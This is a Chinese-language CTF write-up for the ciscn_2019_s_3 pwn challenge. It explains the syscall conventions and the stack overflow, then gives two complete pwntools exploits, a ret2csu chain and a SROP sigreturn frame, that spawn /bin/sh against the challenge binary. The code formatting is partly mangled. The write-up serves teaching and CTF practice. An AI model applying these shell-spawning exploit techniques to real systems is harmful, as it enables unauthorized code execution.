显示recv调用次数_ctf中关于syscall系统调用的简单分析

最新推荐文章于 2024-02-19 00:00:00 发布

weixin_39820136

最新推荐文章于 2024-02-19 00:00:00 发布

阅读量216

点赞数

文章标签：显示recv调用次数

原创紫色仰望合天智汇

0x01

我在动态调试这个程序的时候，发现 syscall调用系统函数的过程很有趣，于是便记录下来希望对大家能带来些帮助，这里以 buu 平台上的 ciscn_2019_s_3 为例，给大家详细地分享以及分析下！

0x02

在开始之前，我们先来认真学习下 read()，write()的原型：

read()：  ssize_t read(int fd,const void *buf,size_t nbytes);   //fd 为要读取的文件的描述符  0  //buf 为要读取的数据的缓冲区地址   //nbytes 为要读取的数据的字节数  //read() 函数会从 fd 文件中读取 nbytes 个字节并保存到缓冲区 buf， //成功则返回读取到的字节数(但遇到文件结尾则返回0)，失败则返回 -1。write()   ssize_t write(int fd,const void *buf,size_t nbytes);  //fd 为要写入的文件的描述符  1   //buf 为要写入的数据的缓冲区地址  //nbytes 为要写入的数据的字节数  //write() 函数会将缓冲区 buf 中的 nbytes 个字节写入文件 fd， //成功则返回写入的字节数，失败则返回 -1。

0x03

然后我们再来简单了解下 syscall ！嗯...我们来看下维基百科的介绍吧，

上面的是 32 位的系统调用，而64位系统的系统调用总体思想还是一样的，当然也会有些不同，

32位与64位系统调用的区别：

1. 传参方式不同

2. 系统调用号不同

3. 调用方式不同

32位：

传参方式：首先将系统调用号传入 eax，然后将参数从左到右依次存入 ebx，ecx，edx寄存器中，返回值存在eax寄存器

调用号：sys_read 的调用号为 3 sys_write 的调用号为 4

调用方式: 使用 int 80h 中断进行系统调用

64位：

传参方式：首先将系统调用号传入 rax，然后将参数从左到右依次存入 rdi，rsi，rdx寄存器中，返回值存在rax寄存器

调用号：sys_read 的调用号为 0 sys_write 的调用号为 1

stub_execve 的调用号为 59 stub_rt_sigreturn 的调用号为 15

调用方式: 使用 syscall 进行系统调用

Ok，知道了上面这些知识，那么做这题，其实相对来说会容易些了！可能本来大佬们就没觉得难，还求勿喷！基于网上对这题的题解很少，我调试了很长时间才弄懂！实在是太弱了！

点击“http://www.hetianlab.com/cour.do?w=1&c=CCIDc0ec-6fda-4403-bd39-82c0f3a70c9b”开始实操练习!

0x04

首先检查文件属性和文件开启的保护有哪些：

$file ciscn_s_3ciscn_s_3:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped  checksec ciscn_s_3  Arch:     amd64-64-little RELRO:    Partial RELRO Stack:    No canary found NX:       NX enabled PIE:      No PIE (0x400000)

64位elf 文件只开启 NX 保护

拖入ida 查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp){    return vuln();}进去 vuln()函数：signed __int64 vuln(){   signed __int64 result; // rax     __asm { syscall; LINUX - sys_read }    result = 1LL;    __asm { syscall; LINUX - sys_write }   return result;}

嗯。。。我们看汇编代码！

这里可以看到汇编指令的含义

-----------------------------------------------------

将read的系统调用号 0 赋值给 rax

将 read的第一个参数0 (fd) 赋值给了 rdi

将 read的第二个参数 buf 赋值给了 rsi

将 read的第二个参数 buf 赋值给了 rdx

即系统调用了 read(0,&buf,0x400)

同理紧接着又调用了 write(1,&buf,0x30)

其中 buf 距离 rbp 0x10个字节，存在栈溢出漏洞！

然后经过调试我还发现当执行了 syscall这个汇编命令(即调用对应系统函数)后，

在gdb上可以很清楚的看到其实执行完后对寄存器的影响

仅仅发生改变的是RAX，与RCX

其中 RAX 会存着对应系统函数调用后返回的结果

RCX 会存着当 syscall指令的下一条指令地址

这里放个对比图，可以看的更明白些！

syscall指令执行前：

syscall指令执行后：

当然，知道这些对于我们来说已经足够了！

我们继续来分析下 vuln函数，具体看下图中注释

这个题rsp和rbp一直在重合，直接ret,就相当于pop rip，

所以覆盖rbp就可以劫持了程序执行流。

所以这题在最后 ret的时候其实就是返回到了rbp处的地址了。这点很重要。

-----------------------------------------------

另外程序中还有个gadgets 函数

我们可以发现这个函数里面有两个可以 gadget 即控制 rax的带有 ret 的汇编指令片段

mov rax，0Fh    //   0Fh  即15    而15 对应的是 sys_rt_sigreturn系统调用mov rax，3Bh     //  3Bh  即 59    而15 对应的是  sys_execve 系统调用

对于以上两个系统调用，我们可以有两种解题方法

第一种：利用 ret2__libc_csu_init 去构造 execve("/bin/sh",0,0) 来 getshell第二种：直接srop 伪造 sigreturn frame 去 构造 execve("/bin/sh",0,0) 来 getshell

我们重点就看第一种了：

因为是系统调用嘛，

所以我们要想构造 execve("/bin/sh",0,0) 需要

将  sys_execve 的调用号 59 赋值给 rax将    第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi将    第二个参数 0  赋值给 rsi将    第三个参数 0  赋值给 rdx

但我们发现我们没有足够gadget 可以利用，于是我们想到了

“x64 下的 __libc_csu_init 中的 gadgets，这个函数是用来对 libc 进行初始化操作的，而一般的程序都会调用 libc 函数，所以这个函数一定会存在“

用下面这个命令去找到它的位置，

ROPgadget --binary ciscn_s_3 --only 'pop|ret'

这里需要注意 Ropgadget 有时总会有一点显示的不完整，我们通过它在ida中再去看下，

loc_400580和loc_400596 就是上面说的 __libc_csu_init gadget了。

0x05

我们最终写下如下 exp：

#coding:utf8from pwn import *context.log_level = 'debug'conn=process("./ciscn_s_3")vuln_addr=0x4004EDmov_rax_execv_addr=0x4004E2   #ida中查看pop_rdi_ret_addr=0x4005a3  #ROPgadget --binary ciscn_s_3 --only 'pop|ret'pop_rbx_rbp_r12_r13_r14_r15_ret_addr=0x40059A__libc_csu_init_addr=0x400580  # __libc_csu_init gadget 首地址syscall_addr=0x400501             #ida中查看#gdb.attach(conn,'b *0x40052C')payload1='/bin/shx00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20                  )bin_sh_addr=u64(conn.recv(8))-280print hex(bin_sh_addr)   #解答  1payload2='/bin/shx00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)*2+p64(bin_sh_addr+0x50)+p64(0)*3payload2+=p64(__libc_csu_init_addr)+p64(mov_rax_execv_addr)payload2+=p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr) #解答  2conn.send(payload2)conn.interactive()

0x06

我们照着 exp 来分析下：

解答1：

因为最后我们构造payload的时候需要用到 /bin/sh 的地址，程序中又没有，我们这里选择自己输入，但是我们输入到了栈上，为了后面可以使用该地址，我们需要首先将 /bin/sh 所在栈地址泄露出来！

我们gdb调试，可以得知在write输出的 0x20字节后的 0x00007fffffffde08 是栈上的地址我们用它减去 buf 所在栈上地址即可得到 /bin/sh所在栈上地址 0x00007fffffffde08-0x7fffffffdcf0=280

反之 bin_sh_addr=0x00007fffffffde08-280

解答二：

为什么要这样构造 payload2？

payload2='/bin/shx00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr)+p64(0)*2+p64(bin_sh_addr+0x50)+p64(0)*3payload2+=p64(__libc_csu_init_addr)+p64(mov_rax_execv_addr)payload2+=p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr)

看这个payload的第一行：

因为文章上面我已经分析过了

******************************************************************************************

这个题rsp和rbp一直在重合，直接ret,就相当于pop rip，

所以覆盖rbp就可以劫持了程序执行流。

所以这题在最后 ret的时候其实就是返回到了rbp处的地址了。于是 p64(pop_rbx_rbp_r12_r13_r14_r15_ret_addr) 其实就相当于是在ret_addr处，

**************************************************************************

看图，动态来具体了解下这个payload是怎么运转的我们跟进去

继续 n 我们会返回到 __libc_csu_init_addr 0x400580

如图：将execve 的系统调用号 0x 3b 赋值给 rax

执行完后会 ret 回到 add rbx，0x1

这里是很关键的一步，

原本 rbp=rbx=0，然而 rbx在这加了 1 与 rbp就不再相等于是会跳转到0x400580执行

call QWORD PTR [r12+rbx*8]    便会 调用了  红框之后的  pop_rdi_ret_addr 处的函gadget了

然后接着就是把 bin_sh_addr 赋值给了 rdi了

这样 execve("/bin/sh",0,0)就构造成功了，最后再执行syscall_addr便成功调用该函数于是getshell 。

这里如果还理解不了的话可以在ctf_wiki学习下栈溢出之 medium_rop

https://wiki.x10sec.org/pwn/stackoverflow/medium_rop/

0x07

第二种：直接srop 伪造 sigreturn frame 去伪造 execve("/bin/sh",0,0) 来 getshell

具体就是首先利用 mov rax, 0Fh 控制rax为 15，然后调用 syscall 即执行了 sigreturn，我们伪造 sigreturn frame 去执行 execve("/bin/sh",0,0) 即可

#coding:utf8from pwn import *context(arch='amd64', os='linux', log_level = 'DEBUG')#这个注意 一定要说明 内核架构  不然报错#context.log_level = 'debug'conn=process("./ciscn_s_3")conn=remote('node3.buuoj.cn',26536)vuln_addr=0x4004EDmov_rax_sigreturn_addr=0x4004DAsyscall_addr=0x400501#gdb.attach(conn,'b *0x40052C')payload1='/bin/shx00'*2+p64(vuln_addr)conn.send(payload1)conn.recv(0x20)bin_sh_addr=u64(conn.recv(8))-280print hex(bin_sh_addr)         frame = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = bin_sh_addrframe.rsi = 0frame.rdx = 0#frame.rsp = bin_sh_addrframe.rip = syscall_addrpayload2='/bin/shx00'*2+p64(mov_rax_sigreturn_addr)+p64(syscall_addr)+str(frame)conn.send(payload2)conn.interactive()

最后要注意的一点就是写 exp 时一定要说明内核架构不然报错！

context(arch='amd64', os='linux', log_level = 'DEBUG')#这个注意一定要说明内核架构，不然报错。

声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！